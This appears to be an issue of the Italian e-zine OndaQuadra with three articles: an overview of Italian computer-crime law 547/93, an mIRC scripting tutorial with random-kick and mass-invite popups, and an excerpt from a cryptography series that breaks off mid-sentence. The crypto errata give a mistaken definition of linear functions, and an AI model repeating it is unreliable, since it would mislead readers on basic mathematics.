OQ. | | | | .:Alcatraz2100:. | | FreakNet -> http://www.freaknet.org/ | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #06 - 25/04/2002 | | LA N0RMATiVA iTALiANA RiGUARD0 i CRiMiNi | | iNF0RMATiCi [MightyInquisitor] 0x17/0x1D | +--------------------------------------------------------------------------+ | | | --[ Indice | | | | 1 - Introduzione | | | | 2 - La normativa | | | | 3 - La legge 547/93 | | 3.1 - L'articolo 615 TER | | 3.2 - L'articolo 615 QUATER | | 3.3 - L'articolo 615 QUINQUIES | | 3.4 - L'articolo 617 QUATER | | 3.5 - L'articolo 617 QUINQUIES | | 3.6 - L'articolo 617 SEXIES | | 3.7 - L'articolo 640 TER | | | | 4 - Note | | | | | | --[ 1 - Introduzione | | | | I sistemi informatici e telematici non rappresentano soltanto una | | componente significativa della realta` economica ed amministrativa. | | La stessa organizzazione sociale, lo sviluppo e la crescita delle | | relazioni interpersonali, delle manifestazione e della comunicazione del | | pensiero, delle strutture politiche e commerciali sono destinati, con | | sempre maggiore intensita`, ad identificarsi con tali sistemi. | | | | Inoltre, se mai potevano ancora sussistere dubbi sulla rilevanza del | | fenomeno "criminalita` informatica", recenti provvedimenti | | dell'autorita` giudiziaria hanno dimostrato come comportamenti | | penalmente rilevanti possano frequentemente presentarsi anche | | nell'ambito di attivita` imprenditoriali e professionali. | | | | L'enorme crescita del fenomeno internet su larga scala e l'abbassamento | | continuo dei prezzi dei computer domestici sono i principali fattori di | | crescita della popolarita` dell'informatica e, ad ogni buon conto, del | | suo lato oscuro: la criminalita` informatica. | | | | | | --[ 2 - La normativa | | | | In seguito a pressioni dell'Unione Europea, dai primi anni Novanta, il | | legislatore ha preso per la prima volta in considerazione il mondo | | dell'informatica e la necessita di tutelarlo. | | Notevoli esempi in materia sono: | | | | - La normativa sulla tutela del software, introdotta dal decreto | | legislativo 518/92, e` l'attuazione della direttiva CEE numero 91/250; | | | | - La normativa sui crimini informatici, introdotta dalla legge 547/93, | | si rifa` ad una raccomandazione del Consiglio d'Europa; | | | | - I lavori sulla legge numero 675/95 sul trattamento dei dati personali | | sono stati accelerati dopo le vicende del trattato di Schengen. | | | | Nell'ambito dei crimini informatici, tra le fattispecie introdotte nel | | codice penale con la legge 547/93, e` indispensabile individuare quelle | | che rappresentano uno strumento di tutela primaria, immediata ed | | effettiva dei sistemi informatici e telematici. | | | | A tale fine sono stati aggiunti nel codice penale, tramite la suddetta | | legge, i seguenti articoli: | | | | - 615 TER - Accesso abusivo ad un sistema informatico o telematico; | | | | - 615 QUATER - Detenzione e diffusione abusiva di codici di accesso a | | sistemi informatici o telematici; | | | | - 615 QUINQUIES - Diffusione di programmi diretti a danneggiare o | | interrompere un sistema informatico; | | | | - 617 QUATER - Intercettazione, impedimento o interruzione illecita di | | comunicazioni informatiche o telematiche; | | | | - 617 QUINQUIES - Installazione di apparecchiature atte a intercettare, | | impedire od interrompere comunicazioni informatiche o telematiche; | | | | - 617 SEXIES - Falsificazione, aiterazione o soppressione del contenuto | | di comunicazioni informatiche o telematiche; | | | | - 640 TER - Frode informatica. | | | | Questi articoli costituiscono i capisaldi della tutela ipotizzata dal | | legislatore. La centralita` di tali fattispecie deriva dal fatto che al | | delitto di frode informatica possono essere ricondotti la maggior parte | | degli "attacchi" patrimoniali recati a terzi utilizzando strumenti | | informatici e secondariamente dal fatto che il diffondersi dei reati | | informatici e` un fenomeno che in Italia ha visto la sua nascita con | | l'avvento su larga scala, da tre anni a questa parte, del commercio | | elettronico, a differenza di altri Paesi dove e` un fenomeno radicato da | | decenni. | | | | | | --[ 3 - La legge 547/93 | | | | Con l'entrata in vigore della legge numero 547 del 23 dicembre 1993 - | | Modificazioni ed integrazioni alle norme del codice penale e del codice | | di procedura penale in tema di criminalita` informatica e telematica - | | si e` di fronte ad una nuova realta` normativa, volta alla tutela della | | elaborazione di dati ed alla conseguente comunicazione esterna in | | condizioni di sicurezza. | | | | L'articolo 1 della legge introduce una nuova forma di esercizio | | arbitrario delle proprie ragioni con violenza sulle cose, estendendo | | tale nozione allorche' un programma informatico viene alterato, | | modificato o cancellato in tutto o in parte ovvero viene impedito o | | turbato il funzionamento di un sistema informatico o telematico. | | | | Se dal fatto deriva la distruzione o il danneggiamento dell'impianto o | | del sistema, dei dati, delle informazioni o dei programmi ovvero | | l'interruzione anche parziale del funzionamento dell'impianto o del | | sistema la competenza e` invece del Tribunale (prevedendosi la pena | | della reclusione da tre a otto anni). | | | | ----[ 3.1 - L'articolo 615 TER | | | | L'articolo 615 ter, introdotto dalla legge numero 547/93, configura il | | reato di accesso abusivo ad un sistema informatico o telematico. | | | | Realizza la fattispecie il comportamento di chiunque abusivamente si | | introduce in un sistema informatico o telematico protetto da misure di | | sicurezza ovvero vi si mantiene contro la volonta` espressa o tacita di | | chi ha il diritto di escluderlo, la pena e` della reclusione fino a tre | | anni (in tal caso si procede a querela della persona offesa). | | | | Particolare aspetto e` che se i fatti riguardano sistemi informatici o | | telematici di interesse militare o relativi all'ordine pubblico o alla | | sicurezza pubblica o alla sanita` o alla protezione civile o comunque di | | interesse pubblico, la pena e` aggravata, rispettivamente, della | | reclusione da uno a cinque anni e da tre a otto anni. | | | | ----[ 3.2 - L'articolo 615 QUATER | | | | Con l'articolo 615 quater si configura il reato di detenzione e | | diffusione abusiva di codici di accesso a sistemi informatici o | | telematici - viene ad essere punita (con la reclusione sino ad un anno e | | con la multa fino a sei mila euro) la condotta di chiunque abusivamente | | si procura, riproduce, diffonde, comunica o consegna codici, parole | | chiave o altri mezzi idonei all'accesso ad un sistema informatico o | | telematico, protetto da misure di sicurezza, o comunque fornisce | | indicazioni o istruzioni idonee al predetto scopo. | | | | Aspetto rilevante e` che l'articolo 615 quater si colloca nell'ambito | | dei delitti contro l'inviolabilita' del domicilio oltre che contro la | | sicurezza informatica e telematica, il bene giuridico e` in tale caso | | oggetto di tutela anche con riferimento al mero pericolo di accesso | | abusivo al sistema, il che conduce a ritenere rientrante nel campo di | | applicazione della nuova norma ogni condotta consistente nella | | fissazione o nel trasferimento su qualsiasi genere di supporto (cartaceo | | o magnetico) di dati o indicazioni atti a conseguire l'effetto | | dell'accesso abusivo al sistema (elenchi di passwords o numeri seriali, | | tabulati vari e cosi' via). | | Lo stesso articolo tutela le illegittimita' nel caso dell'acquisto o | | dell'occultamento di un apparato di connessione o di decodificazione | | entro il quale sono gia` installate passwords illecitamente ottenute | | ovvero del telefono cellulare inizializzato (contenente un numero | | seriale e telefonico) onde ottenere illecita connessione telefonica e | | fraudolenta attribuzione di scatti ad altro utente (tecnica conosciuta | | anche col nome di phone phreaking). | | | | ----[ 3.3 - L'articolo 615 QUINQUIES | | | | L'articolo 615 quinquies configura il reato di diffusione di programmi | | diretti a danneggiare o interrompere un sistema informatico, punisce | | (con la reclusione sino a due anni e con la multa sino a dieci mila | | euro) la condotta di chiunque diffonde, comunica o consegna un programma | | informatico da lui stesso o da altri redatto, avente per scopo o per | | effetto il danneggiamento di un sistema informatico o telematico, dei | | dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero | | l'interruzione, totale o parziale del suo funzionamento. | | | | E' l'ipotesi che sanziona la produzione e la diffusione dei cosi' detti | | virus, cioe' dei programmi distruttivi, nella maggior parte dei casi | | prodotti a livello amatoriale, che comporta seri problemi di | | accertamento in ordine alla coscienza ed alla volonta' dell'azione. | | | | ----[ 3.4 - L'articolo 617 QUATER | | | | L'articolo 617 quater configura il reato di intercettazione, impedimento | | o interruzione illecita di comunicazioni informatiche o telematiche, il | | quale prevede la pena reclusiva da sei mesi a quattro anni nei confronti | | di chiunque fraudolentemente intercetta comunicazioni relative ad un | | sistema informatico o telematico o intercorrenti tra piu' sistemi, | | ovvero le impedisce o le interrompe. La medesima pena e' prevista nei | | confronti di chiunque riveli, mediante qualsiasi mezzo di informazione | | al pubblico, in tutto o in parte, il contenuto delle predette | | comunicazioni. | | | | ----[ 3.5 - L'articolo 617 QUINQUIES | | | | L'articolo 617 quinquies configura il reato di installazione di | | apparecchiature atte a intercettare, impedire od interrompere | | comunicazioni informatiche o telematiche. È punito con la reclusione da | | uno a quattro anni chiunque, fuori dai casi consentiti dalla legge, | | installa apparecchiature atte ad intercettare, impedire o interrompere | | comunicazioni relative ad un sistema informatico o telematico ovvero | | intercorrenti tra piu' sistemi. Nei casi di cui all'articolo 617 quater | | si applica la pena della reclusione da uno a cinque anni e la competenza | | e' quindi del Tribunale. | | | | ----[ 3.6 - L'articolo 617 SEXIES | | | | L'articolo 617 sexies configura il reato di falsificazione, aiterazione | | o soppressione del contenuto di comunicazioni informatiche o telematiche | | il quale viene sanzionato con la reclusione da uno a quattro anni. La | | fattispecie del reato si configura nel caso si procuri a se' o ad altri | | un vantaggio o di arrecare ad altri un danno, falsificando , alterando o | | sopprimendo, in tutto o in parte, il contenuto, anche occasionalmente | | intercettato, di taluna delle comunicazioni relative ad un sistema | | informatico o telematico o intercorrenti tra piu' sistemi, qualora ne | | faccia uso o lasci che altri ne facciano uso. | | | | ----[ 3.7 - L'articolo 640 TER | | | | L’articolo 640 ter, anch’esso introdotto con la legge 547/93, configura | | il reato di frode informatica che si configura laddove chiunque, | | aiterando in qualsiasi modo il funzionamento di un sistema informatico o | | telematico o intervenendo senza diritto con qualsiasi modalita' su dati, | | informazioni o programmi contenuti in un sistema informatico o | | telematico o ad esso pertinenti, procura a se' o ad altri un ingiusto | | profitto con altrui danno. | | | | La pena consiste nella reclusione da sei mesi a tre anni e nella multa | | da euro cinquanta a euro mille. Il delitto e' punibile a querela della | | persona offesa. | | | | | | --[ 4 - Note | | | | In caso vogliate leggere per esteso la legge 547/93 la potete reperire | | on-line sul sito ufficiale del Governo oppure andando a | | leggere l'articolo 0x19 di qUiCkSoRt apparso sul numero 04 di | | OndaQuadra. | | | | Ho scritto questo breve articolo per mettere a fuoco, seppur | | sinteticamente, la normativa italiana in ambito di crimini informatici. | | | | In quanto non sono un giurista e non mi ritengo un cultore della | | materia, mi sono affidato ad alcuni documenti che ho reperito on-line e | | all'aiuto del mio amico, studente di giurisprudenza, case. | | | | | | MightyInquisitor | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 25/11/2001 | | GUiDA SUL mIRC SCRiPTiNG [PARTE QUARTA] []_CyBeRPuNK_[] 0x18/0x1D | +--------------------------------------------------------------------------+ | | | Utilizzo avanzato dei comandi: Comandi multilinea. In mIRC è possibile | | utilizzare comandi e creare alias, popups e script di remote script con | | linee condizionali, cicli ed altri cose utili. Per spiegarli tutti credo | | sarebbe necessaria un'altra FAQ ma, proverò a avviarvi sulla strada | | corretta tramite una breve sezione ed alcuni esempi. Credo sia meglio | | iniziare subito..... | | | | Per prima cosa ora mIRC permette definizioni multilinea di alias, popup, | | e script. Ciò permette di scrivere i vari comandi in un modo semplice e | | strutturato come: | | | | | | { /comando1 ... /comando2 ... /comando3 ... } | | | | Esempio: | | | | | | /away /ame è AWAY ( $+ $?="Motivo" $+ ) | /away Impostato l'away alle | | $time { $+ $! $+ } /back /ame è tornato,.. cosa ho perso ?? | /away | | | | Questi alias possono essere anche definiti come | | | | | | /away { /ame e AWAY ( $+ $?="motivo" $+ ) /away Impostato l'away alle | | $time { $+ $! $+ } } /back { /ame è tornato,.. cosa ho perso ?? /away } | | | | Sono d'accordo che tutto ciò non è di grande aiuto in questo esempio ma, | | quando si scriveranno e si proverranno i nuovi comandi condizionali di | | mIRC questa struttura risulterà utile! si noti che le parentesi { } sono | | necessarie all'esterno di tutti i comandi che usano la nuova possibilità | | dei cicli condizionali ecc. Ecco ci siamo arrivati, se lo si desidera è | | possibile tralasciare tutti i prefissi di comando / ... Non sono più | | necessari. | | | | È stato aggiunto un comando /goto che può essere utilizzato nelle | | definizioni {}. | | | | Esempio: | | | | | | /greet { /set %x 0 :retry /inc %x /goto %x :2 /echo line2 /halt :1 /echo | | line1 /goto retry } | | | | L'alias farà l'eco delle linee "line1" e "line2" sul vostro schermo. La | | prova e di eseguire questo comando perfettamente equivalente in qualche | | casella di testo: | | | | | | /set %x 0 | :retry | inc %x | goto %x | :2 | echo line2 | halt | :1 | | | echo line1 | goto retry | | | | Vi mostrerà esattamente quello che succede. ;-) E? possibile utilizzare | | una variabile come nome per il goto, es. | | | | | | :%jumppoint | | | | Se si imposta "/set %jumppoint 5" è possibile eseguire "/goto 5" e mIRC | | calcolerà %jumppoint a 5 e salterà ad esso. Nell'esempio precedente il | | punto di salto era fissato a '1' e '2'. Si provino questi 3 comandi e si | | verifichi cosa succede adesso. | | | | | | /set %jump1 1 /set %jump2 2 /set %x 0 | :retry | inc %x | goto %x | | | :%jump2 | echo line2 | halt | :%jump1 | echo line1 | goto retry | | | | È possibile utilizzare il comando /return per terminare l'esecuzione di | | un comando e per permettere a qualsiasi processo standard di continuare. | | es. | | | | | | on 1:JOIN:#mIRC { /echo 3 #mIRC [Entra $nick] /return /echo 3 #mIRC Io | | non vengo mai stampata! } | | | | Il risultato sarà un messaggio del tipo: | | | | | | [Entra henk] *** henk (monster@ppp.dial.tip.nl) has joined #mIRC | | | | Assicurarsi di...! | | | | Assicurarsi di non perdersi in definizioni con parentesi incomplete. | | Quando si aprono parentesi '{' e non le si chiudono con '}' mIRC | | potrebbe iniziare a comportarsi in modo strano!! Lavorate con prudenza! | | È stato aggiunto un pulsante speciale alla finestra di dialogo | | dell'editor degli Alias, Popups e dei Remote che verifica che il | | conteggio delle parentesi nello script corrente sia corretto. È il | | pulsante con il disegno delle "{}". | | | | /if /elseif /else | | | | Ora credo siate pronti per le cose veramente difficili!! In mIRC è | | disponibile un semplice comando di /if. | | | | | | /if v1 operatore v2 { ... } | /elseif v1 operatore v2 { ... } | /else { | | ... } | | | | Esempio: | | | | Inserire questo alias ed avviarlo con "/test 4"; | | | | | | /test { set %i 0 | :start | inc %i | if %i > $1 halt | echo $active %i | | | goto start } | | | | If/elseif/else possono essere nidificati fra di loro. È possibile | | utilizzare parentesi () e {} per assicurarsi che vengano valutati | | correttamente (nell'ordine corretto), tuttavia non è indispensabile | | utilizzarle. L'utilizzo delle parentesi velocizza leggermente | | l'elaborazione poiché mIRC conosce esattamente cosa ha da valutare. | | | | Gli operatori ed i comparatori disponibili sono: | | | | == uguale a != diverso da < minore di > maggiore di >= maggiore o uguale | | a <= minore o uguale a // è un multiplo di \\ non è un multiplo di isin | | stringa v1 contenuta in stringa v2 iswm stringa jolly v1 corrisponde a | | stringa v2 ison nick v1 è sul canale v2 isop nick v1 è un op del canale | | v2 isvo verifica se l'utente v1 ha voce sul canale v2 isnum il numero v1 | | è un numero nell'intervallo v2 che è nella forma n1-n2 (v2 è opzionale) | | ischan se v1 è un canale sul quale vi trovate. isauto se v1 è un utente | | della vostra lista di auto-op per il canale v2 (v2 e opzionale) isignore | | se v1 è un utente nella vostra ignore list con marcatore di ignore v2 | | (v2 e opzionale) isprotect se v1 è un utente della vostra protect list | | per il canale v2 (v2 e opzionale) isnotify se v1 è un utente della | | vostra lista di notify. | | | | Per negare le voci precedenti basta aggiungere il prefisso !. | | | | Esempio: | | | | | | /massinvite { echo 4 * Mass-inviting # | set %i $nick(#,0) | :next | if | | $nick(#,%i) != $me invite $nick(#,%i) $1 | dec %i | if %i > 1 goto next | | | echo 4 * Mass-invite # eseguito } | | | | Utilizzare questo alias con "/massinvite #vostrocanale".(si noti che il | | massinvite è considerata una azione molto maleducata!) | | | | Esempio: | | | | | | /randnopkick { :begin | set %kicknick $nick(#,$r(1,$nick(#,0))) | if | | %kicknick isop # goto begin | /echo 6 %kicknick } | | | | Se si è un op su un canale è possibile eseguire un non-op-kick-casuale. | | Esegue il kick su una persona a caso presente sul canale no non su un | | op. Ricordate.... se sono disponibili solo op avete un problema ;-) | | | | Esempio: | | | | | | /line { %line = "" | if $asc($1) < $asc($2) { set %i $asc($1) | :add | | | %line = %line $chr(%i) | inc %i | if %i <= $asc($2) { goto add } | if | | (%line == "") { halt } | else { echo # %line | halt } } else echo # | | spiacente non valido } | | | | Avviate l'alias digitando "/line d k" per verificare cosa faccia. | | Stamperà una linea del tipo 'd e f g h i j k'. Niente di particolarmente | | utile ma mostra molto bene la potenza degli if/elseif/else. | | | | Esempio: | | | | | | /printnum1 { if $len($1) = 1 { if $1 !isin 1234567890 { echo 6 $1 non è | | un numero | goto end } } | elseif $len($1) = 2 { if $mid(1,1,$1) !isin | | 1234567890 { echo 6 $mid(1,1,$1) non è un numero | goto end } | elseif | | $mid(2,1,$1) !isin 1234567890 { echo 6 $mid(2,1,$1) non è un numero | | | goto end } } | elseif $len($1) > 2 { echo 6 $1 ha troppi caratteri | | | goto end } | { set %x 1 | :begin | echo 6 %x | if %x >= $1 { goto end } | | | else { inc %x | goto begin } | :end } } | | | | /printnum2 { if $1 !isnum { echo 6 $1 non è un numero | goto end } | | | elseif $1 !isnum 0-99 { echo 6 $1 è un numero troppo grande | goto end } | | | { set %x 1 | :begin | echo 6 %x | if %x >= $1 { goto end } | else { | | inc %x | goto begin } | :end } } | | | | Questi due alias fra loro equivalenti stampano entrambi una lista di | | numeri compresa fra due valori dati. Si provi con "/printnum1 14" o | | qualche cosa di simile... Il secondo alias mostra un miglio utilizzo | | degli identificatori che riducono la lunghezza dell'alias. | | | | Identificatori vuoti o non validi | | | | Le variabili e gli identificatori che non possono essere valutati in un | | valore restituiscono il valore $null quindi possono essere utilizzati in | | definizioni di if per controlli ed altro. | | | | Esempio: | | | | | | /listops { echo 4 * Lista degli Op su # | set %i 1 | :next | set %nick | | $nick(%i,#) | if %nick == $null { goto done } | if %nick isop # { echo 3 | | %nick è un Op su # } | inc %i | goto next | :done | echo 4 * Fine della | | lista degli Op } | | | | Questo alias elenca tutti gli op del canale su cui i trovate. | | | | Oppure in un remote eventi: | | | | | | on 1:CTCPREPLY:PING* { if ($2 == $null) echo [ $+ $nick risposta al PING | | ] else { %pt = $ctime - $2 if (%pt < 0) set %pt 0 echo [ $+ $nick | | risposta al PING ] %pt secondi } halt } | | | | Altri esempi di popup. | | | | | | DaiOp { %i = 0 | %nicks = "" | :nextnick | inc %i | if ($snick(#,%i) == | | $null) { if ($len(%nicks) > 0) mode # +oooo %nicks | halt } | %nicks = | | %nicks $snick(#,%i) | if (4 // %i) { mode # +oooo %nicks | %nicks = "" } | | | goto nextnick } | | | | Questo menu popup esegue l'op su tutte le persone selezionate sul canale | | su cui siete operatore. | | | | | | Selkick:/kick # $token($r(1,$snick(#,0)),44,$snicks) | | | | Questo popup esegue il kick su una persona a caso fra le persone | | selezionate su un canale. | | | | | | RandNopkick:/kick # $nopnick(#,$r(1,$nopnick(#,0))) | | | | Questo popup esegue un kick su un non-operatore a caso nel canale su cui | | vi trovate. | | | | | | RandNopkick { :begin | /set %kicknick $nick(#,$r(1,$nick(#,0))) | if | | %kicknick isop # goto begin | /kick # %kicknick } | | | | Anche questo popup esegue un kick su un non-operatore a caso nel canale | | su cui vi trovate. | | | | | | Randkick:/kick # $nick(#,$r(1,$nick(#,0))) | | | | Non sono divertenti i kick???? Eccone un altro... un kick casuale su | | chiunque.... potreste essere voi stessi! | | | | | | RandOpkick:/kick # $opnick(#,$r(1,$opnick(#,0))) | | | | Kick casuale di un op .... almeno loro possono difendersi! | | | | Cicli infiniti. | | | | Con tutte questi comandi condizionali attenzione a non finire in cicli | | infiniti. Un semplice esempio è creare qualche cosa simile a: | | | | | | /loop { :start | echo 6 # ciclo di test | goto start } | | | | Nel caso i vostri alias or remote dovessero entrare in un ciclo simile | | utilizzare la combinazione di tasti CTRL+Interr per terminare il | | processo. Vi riporterà a casa sano e salvo. | | | | Finestre personalizzate. | | | | In mIRC 5.0 è stato aggiunto un nuovo strumento che consente di creare | | delle finestre personalizzate. Questo strumento di | | creazione/manipolazione finestre può essere utilizzato per creare una | | finestra nella quale tenere traccia di ciò che uno script fa. Una | | finestra personalizzata viene creata col comando /window. Questo comando | | può gestire un mucchio di parametri per definire il tipo di finestra che | | mIRC deve creare, lo stato della finestra ed il controllo dei contenuti. | | | | /window [-abcdelnorsx] @nome [x y [w h]] [/comando] [popup.txt] [font | | [size]] Opzioni: | | | | a = attiva finestra b = aggiorna barra di scorrimento orizzontale per la | | listbox c = chiude finestra d = apre la finestra sulla scrivania e = | | editbox l = listbox n = minimizza finestra o = se aperta sulla scrivania | | la pone in primo piano r = ripristina finestra s = usa un elenco | | ordinato x = massimizza finestra @nome = nome finestra (deve essere | | preceduto da una @) x,y,w,h = spigolo superiore sinistro, larghezza e | | altezza popup.txt = nomefile popup, caricato quando serve /comando = | | comando standard font/size = nome carattere e dimensione (di base il | | carattere della finestra di status) | | | | È inoltre possibile utilizzare /window per manipolare alcuni dei | | parametri precedenti per finestre personalizzate già esistenti. È | | possibile utilizzare i seguenti comandi per manipolare le linee: | | | | /aline [-cN] @nome testo aggiunge una linea alla lista /dline @nome N | | cancella l'Nesima linea /iline [-cN] @nome N testo inserisce la linea | | all'Nesima linea /rline [-cN] @nome N testo sostituisce l'Nesima linea | | /sline @nome N seleziona l'Nesima linea | | | | Dove -cN consente di specificare il colore della linea. | | | | È possibile utilizzare l'identificatore $window(N/@nome) per accedere | | alle seguenti informazioni sulla finestra personalizzata: | | | | $window(N).x sinistra $window(N).y alto $window(N).w larghezza | | $window(N).h altezza $window(N).state minimizzata/massimizzata/normale | | Per accedere alle linee di una finestra personalizzata è possibile | | utilizzare: | | | | $line(@nome,N) restituisce l'Nesima linea $sline(@nome,N) restituisce | | l'Nesima linea selezionata (solo i listbox) $sline(@nome,N).ln | | restituisce il numero di linea dell'elemento selezionato. | | | | Questo nuovo strumento offre un mucchio di utilizzi creativi ed utili ma | | richiede qualche esperimento per far si che si comporti esattamente come | | si desidera. Buon divertimento! | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | 0NDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #06 - 25/04/2002 | | C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 3 [Zer0] 0x19/0x1D | +--------------------------------------------------------------------------+ | | | Pork... avevano già chiuso il numero 5 e io non lo sapevo!!! <:| | | | | Riecco a voi Zer0, alias Massimo De Lirio, alias il vostro crittologo di | | fiducia - e CHE crittologo, ragazzi! :P | | | | Bentrovati a questo terzo appuntamento con CODiCE iNVERSO, ovvero | | | | L ' A N G O L O D E L L A C R Y P T O | | | | e io spaccio solo Crypto buona, sia ben chiaro! :PPP | | | | Pensavate che mi avessero censurato. | | O che ci avessi rinunciato. | | O che fossi morto. | | O che fossi io il responsabile dei citati casi di scopiazzamento. | | E invece no. Mi scuso ancora per l'appuntamento mancato di CODiCE | | iNVERSO nel numero 5, non è successo nulla di più di quanto è successo | | tutte le altre volte, ovvero: | | | | R I T A R D O ! | | | | S C H I F O S O R I T A R D O ! | | | | Solo che questa volta il mio ritardo era un pochino più consistente | | delle altre, motivo per cui il numero era già chiuso da un pezzo quando | | avevo finito l'articolo :| | | | | Ma se può essere una attenuante, vi dico che il ritardo è stato causato | | da un massiccio approfondimento su alcuni "punti oscuri" dell'argomento, | | tra cui le fottutissime CURVE ELLITTICHE (che continuo ad essere | | pessimista sul fatto che riuscirò a trattarle in questa sede, ma si | | vedrà...) e gli algoritmi di FIRMA DIGITALE, che invece sarò, in buona | | parte, in grado di spiegare ed analizzare piuttosto dettagliatamente. | | Nonchè le FUNZIONI CRITTOGRAFICHE DI HASHING, anche questo argomento | | abbastanza "alla mano", ma invero piuttosto vasto, motivo per cui se non | | riesco ad inserirlo bene qui vedrò di trattarlo a fondo in un altro | | articolo. Discorso analogo per le Curve Ellittiche, argomento che mi sta | | molto a cuore poichè rappresentano lo stato dell'arte nella sicurezza | | digitale, il fatto è che il background di conoscenze matematiche che | | bisogna possedere per analizzarle e comprenderne a fondo il | | funzionamento non è da poco se deve essere trattato in un'e-zine, quindi | | come ho già detto si vedrà... Vorrei inoltre segnalare che all'inizio | | del cap.6 troverete un'"errata corrige" all'articolo "algoritmo di | | codifica a chiave random" di BigAlex, apparso sul numero 4 di OQ, le | | motivazioni che mi hanno portato a fare ciò sono spiegate | | dettagliatamente nel cap.6 stesso. | | | | Il lavoro di teoria che è stato fatto nei capitoli precedenti è molto | | importante (e non abbiamo ancora finito poichè c'è anche il 5 da | | leggere) anzi, vi consiglio di riguardarveli piuttosto bene, | | specialmente il cap.2. So che a molti di voi saranno sembrati una | | pagliacciata indegna, ma finalmente cominceremo ad analizzare il | | funzionamento degli algoritmi, ed ora vedrete che quelle conoscenze vi | | serviranno... | | | | Sappiate dunque che mi appresto a VOMITARVI addosso, tramite i prossimi | | capitoli che rappresentano la parte "tecnica" dell'articolo, una marea | | di nozioni STRETTAMENTE SPECIFICHE sul campo di applicazione della | | crittologia, il fatto di aver "mancato" un appuntamento significa | | semplicemente che stavolta avrete RAZIONE DOPPIA della vostra pappa | | preferita. Insomma, se non l'aveste capito... INCOMICIAMO A GIOCARE SUL | | SERIO!!! | | | | ... | | | | Ehm, ma a parte ciò è venuto il momento dell'immancabile... | | | | | | Beh, se non altro sono uno che ammette i suoi errori. :P | | | | - I Sillogismi | | Non era Platone quello dei sillogismi, ma Aristotele!!! | | Bah, ai tempi d'oro non avrei fatto di questi sbagli... | | | | | | - Il Mod | | Nel VB e altre applicazioni si indica proprio come l'ho indicato | | io, cioè qualcosa tipo | | | | (3x^2) Mod 10 | | | | Ma in ambito scientifico, specialmente nei documenti e trattati di | | algebra et similari si indica: | | | | 3x^2 (Mod 10) | | | | quindi d'ora in poi potrei trovarmi a usare indifferentemente entrambe | | le notazioni, a seconda di quella che è più corretta in quel momento. | | In particolare la differenza più sostanziale è che la seconda notazione | | indica che la proprietà Modulo vale su TUTTA l'espressione a sinistra, | | es: | | | | A^(2e) = (B^2) Mod p | | | | A^(2e) = B^2 (Mod p) | | | | la prima significa che il termine a sinistra è uguale al modulo in base | | p del termine a destra, mentre la seconda significa che il modulo in | | base p del termine sinistro è uguale al modulo in base p del destro. | | | | | | - Il Carnivores | | Ehm... mi sono espresso alquanto male. Io intendevo che del Carnivores | | non sono disponibili, e probabilmente non lo saranno mai, i sorgenti e | | le info dettagliate sul funzionamento REALE dello sniffer. Per il resto, | | è politica dell'FBI diffondere apertamente notizie su questo software | | (per spiegazioni dettagliate vi rimando all'articolo "CARNiVORE | | DiAGNOSTiC TOOL" di Screener_it apparso su oq02, oppure al sito | | dell'FBI... no scherzo, non ci andate su quello che vi loggano anche il | | culo ;) . Il fatto poi che quel che ci fanno sapere corrisponda a | | realtà è un'altra storia... | | | | | | - Funzioni Lineari e Non Lineari | | Anche se è un pezzo ormai che mi drogo coi numeri ho sempre sentito due | | versioni diverse di queste definizioni: la più accreditata è quella che | | ho dato io, e cioè "Una funzione lineare è una funzione NON di primo | | grado". Ciononostante trovo sempre qualcuno che continua a dire: "Una | | funzione lineare è una funzione caotica, ovvero non legata da una | | relazione matematica. Un andamento esponenziale è ancora lineare perchè | | lo puoi esprimere in formule, il tasso di crescita della popolazione | | mondiale no, perchè se lo esprimi matematicamente fai sempre un'errore | | di approssimazione". Boh? Nel dubbio continuerò ad usare la prima | | definizione... | | | | - Lo XOR | | Spesso non si trova nei testi di logica per un semplice motivo: a | | voler essere precisi lo Xor NON E' un operatore logico elementare, bensì | | composto (anche se ogni circuito integrato usa porte XOR e il set di | | istruzioni di ogni processore include questa operazione). In pratica, | | lo Xor può essere "costruito" a partire dagli altri tre operatori logici | | | | elementari in questo modo: | | | | A Xor B | | | | è anche uguale a: | | | | ((Not A) And B) Or (A And (Not B)) | | | | Ganzo eh? :) | | | | | | | | Lo avevo già detto le volte scorse, ma lo ripeto. Nelle equazioni | | matematiche e nei grafici sono costretto a fare uso massiccio di grafica | | ASCII, ma i caratteri possono non essere visualizzati correttamente se | | non avete le impostazioni che uso io. E allora: io NON SCRIVO SOTTO DOS | | (purtroppo sono ancora ridotto a WinBestia, sigh!...), quindi il | | charset è puro ASCII e non ANSI, inoltre il font che uso è il Courier | | New a 10 punti. E' comunque indispensabile che usiate un font che usa | | larghezza standard per tutti i caratteri, quindi Arial, Helvetica e | | Times New Roman NON VANNO BENE, mentre Courier, Courier New e Fixedsys | | sì. | | | | | | Da questa volta mi troverò a fare uso anche del simbolo di SOMMATORIA, | | cioè quella cosa che sembra tipo una grossa M ruotata di 90° in senso | | antiorario e che appare, generalmente, così: | | | | n | | _______ | | \ _ _ | | >- \/ | | Y = /______ _/\_ | | i | | i = a | | | | Ovvero: Y è uguale alla sommatoria di elementi X che vanno da a ad n. Di | | una serie di elementi x (tipo i bytes di un array), la sommatoria dà in | | uscita la somma dei valori le cui posizioni all'interno della sequenza | | vanno da a ad n, dove i è una "variabile contatore". Il problema è che | | io sono un poveraccio che scrive in ASCII, quindi per intendere la | | scrittura di cui sopra userò la seguente notazione, non sputatemi | | pls...: | | | | y = [€]i:a…n;x(i) | | | | Cosa analoga per il Prodotto, ovvero quella cosa che assomiglia tipo ad | | un PiGreco maiuscolo: | | | | n | | ____ | | (| |) _ _ | | | | \/ | | Y = | | _/\_ | | i | | i = a | | | | che si comporta esattamente come la sommatoria, solo che invece di | | addare moltiplica. Io lo scriverò con questa simbologia: | | | | y = [¶]i:a…n;x(i) | | | | In pratica, se io ho un insieme di elementi "x" tipo questo array: | | | | elemento (x): 20 13 50 82 19 13 67 99 | | indice (i): 0 1 2 3 4 5 6 7 | | | | si avrà: | | | | [€]i:0…3;x(i) = 20 + 13 + 50 + 82 = 165 | | [¶]i:2…5;x(i) = 50 * 82 * 19 * 13 = 1012700 | | | | Da ricordare la seguente proprietà (l'abbiamo vista al cap.2, ve la | | ricordate, verooo?): | | | | 